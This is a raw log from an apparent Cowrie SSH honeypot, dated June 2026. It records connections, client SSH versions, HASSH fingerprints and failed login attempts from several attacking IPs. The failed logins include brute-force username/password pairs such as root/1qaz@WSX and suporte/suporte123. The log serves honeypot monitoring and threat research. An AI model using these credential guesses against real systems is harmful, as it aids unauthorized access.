{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":19294,"dst_ip":"10.17.0.5","dst_port":22,"session":"9b129808efff","protocol":"ssh","message":"New connection: 91.92.40.36:19294 (10.17.0.5:22) [session: 9b129808efff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:25:34.433185Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:25:35.196820Z","src_ip":"91.92.40.36","session":"9b129808efff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":48744,"dst_ip":"159.203.135.109","dst_port":22,"session":"ef67ebb924bc","protocol":"ssh","message":"New connection: 38.93.206.2:48744 (159.203.135.109:22) [session: ef67ebb924bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:25:36.382313Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:25:36.390839Z","src_ip":"38.93.206.2","session":"ef67ebb924bc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:25:36.441270Z","src_ip":"38.93.206.2","session":"ef67ebb924bc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:25:36.481568Z","src_ip":"91.92.40.36","session":"9b129808efff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"19031984","message":"login attempt [root/19031984] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:25:36.594936Z","src_ip":"38.93.206.2","session":"ef67ebb924bc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:25:37.646820Z","src_ip":"38.93.206.2","session":"ef67ebb924bc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"s","password":"s","message":"login attempt [s/s] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:25:40.723827Z","src_ip":"91.92.40.36","session":"9b129808efff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":56258,"dst_ip":"10.17.0.5","dst_port":22,"session":"125bcca430e6","protocol":"ssh","message":"New connection: 91.92.40.36:56258 (10.17.0.5:22) [session: 125bcca430e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:25:41.166369Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:25:41.422884Z","src_ip":"91.92.40.36","session":"125bcca430e6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:25:41.429482Z","src_ip":"91.92.40.36","session":"125bcca430e6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"pass123","message":"login attempt [minecraft/pass123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:25:41.810692Z","src_ip":"91.92.40.36","session":"0c2bd9266f98","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.7","message":"Connection lost after 8.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:25:43.090513Z","src_ip":"91.92.40.36","session":"9b129808efff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"momo123","message":"login attempt [root/momo123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:25:43.661445Z","src_ip":"91.92.40.36","session":"125bcca430e6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"17.6","message":"Connection lost after 17.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:25:44.385502Z","src_ip":"91.92.40.36","session":"0c2bd9266f98","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"97.74.87.152","src_port":55106,"dst_ip":"159.203.135.109","dst_port":22,"session":"d719321aa30d","protocol":"ssh","message":"New connection: 97.74.87.152:55106 (159.203.135.109:22) [session: d719321aa30d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:25:45.043883Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:25:45.049294Z","src_ip":"97.74.87.152","session":"d719321aa30d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.9","message":"Connection lost after 3.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:25:45.078325Z","src_ip":"91.92.40.36","session":"125bcca430e6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":60384,"dst_ip":"159.203.135.109","dst_port":22,"session":"8a4f9f212c2f","protocol":"ssh","message":"New connection: 194.113.233.25:60384 (159.203.135.109:22) [session: 8a4f9f212c2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:25:45.146060Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:25:45.149788Z","src_ip":"194.113.233.25","session":"8a4f9f212c2f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:25:45.243206Z","src_ip":"194.113.233.25","session":"8a4f9f212c2f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:25:45.282003Z","src_ip":"97.74.87.152","session":"d719321aa30d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"270593","message":"login attempt [root/270593] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:25:45.526095Z","src_ip":"194.113.233.25","session":"8a4f9f212c2f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"suporte","password":"suporte123","message":"login attempt [suporte/suporte123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:25:46.228126Z","src_ip":"97.74.87.152","session":"d719321aa30d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:25:46.622903Z","src_ip":"194.113.233.25","session":"8a4f9f212c2f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:25:47.466851Z","src_ip":"97.74.87.152","session":"d719321aa30d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":49538,"dst_ip":"10.17.0.5","dst_port":22,"session":"54eb8b7bbaa9","protocol":"ssh","message":"New connection: 91.92.40.36:49538 (10.17.0.5:22) [session: 54eb8b7bbaa9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:25:49.165903Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:25:49.547553Z","src_ip":"91.92.40.36","session":"54eb8b7bbaa9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:25:49.550737Z","src_ip":"91.92.40.36","session":"54eb8b7bbaa9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz@WSX","message":"login attempt [root/1qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:25:50.862689Z","src_ip":"91.92.40.36","session":"54eb8b7bbaa9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:25:52.328936Z","src_ip":"91.92.40.36","session":"54eb8b7bbaa9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":51444,"dst_ip":"10.17.0.5","dst_port":22,"session":"7f792621c224","protocol":"ssh","message":"New connection: 45.153.34.195:51444 (10.17.0.5:22) [session: 7f792621c224]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:25:52.885170Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:25:52.969547Z","src_ip":"45.153.34.195","session":"7f792621c224","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":11250,"dst_ip":"10.17.0.5","dst_port":22,"session":"d90de3f05032","protocol":"ssh","message":"New connection: 91.92.40.36:11250 (10.17.0.5:22) [session: d90de3f05032]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:25:58.057113Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:25:58.619634Z","src_ip":"91.92.40.36","session":"d90de3f05032","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:25:59.466491Z","src_ip":"91.92.40.36","session":"d90de3f05032","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":11294,"dst_ip":"10.17.0.5","dst_port":22,"session":"8488be1f4ff2","protocol":"ssh","message":"New connection: 91.92.40.36:11294 (10.17.0.5:22) [session: 8488be1f4ff2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:26:03.779443Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:26:04.552749Z","src_ip":"91.92.40.36","session":"8488be1f4ff2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:26:04.560294Z","src_ip":"91.92.40.36","session":"8488be1f4ff2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"repo","password":"repo","message":"login attempt [repo/repo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:26:05.626637Z","src_ip":"91.92.40.36","session":"d90de3f05032","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"73.36.177.174","src_port":53115,"dst_ip":"10.17.0.5","dst_port":22,"session":"4011a2351089","protocol":"ssh","message":"New connection: 73.36.177.174:53115 (10.17.0.5:22) [session: 4011a2351089]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:26:06.164484Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:26:06.173191Z","src_ip":"73.36.177.174","session":"4011a2351089","protocol":"ssh"}
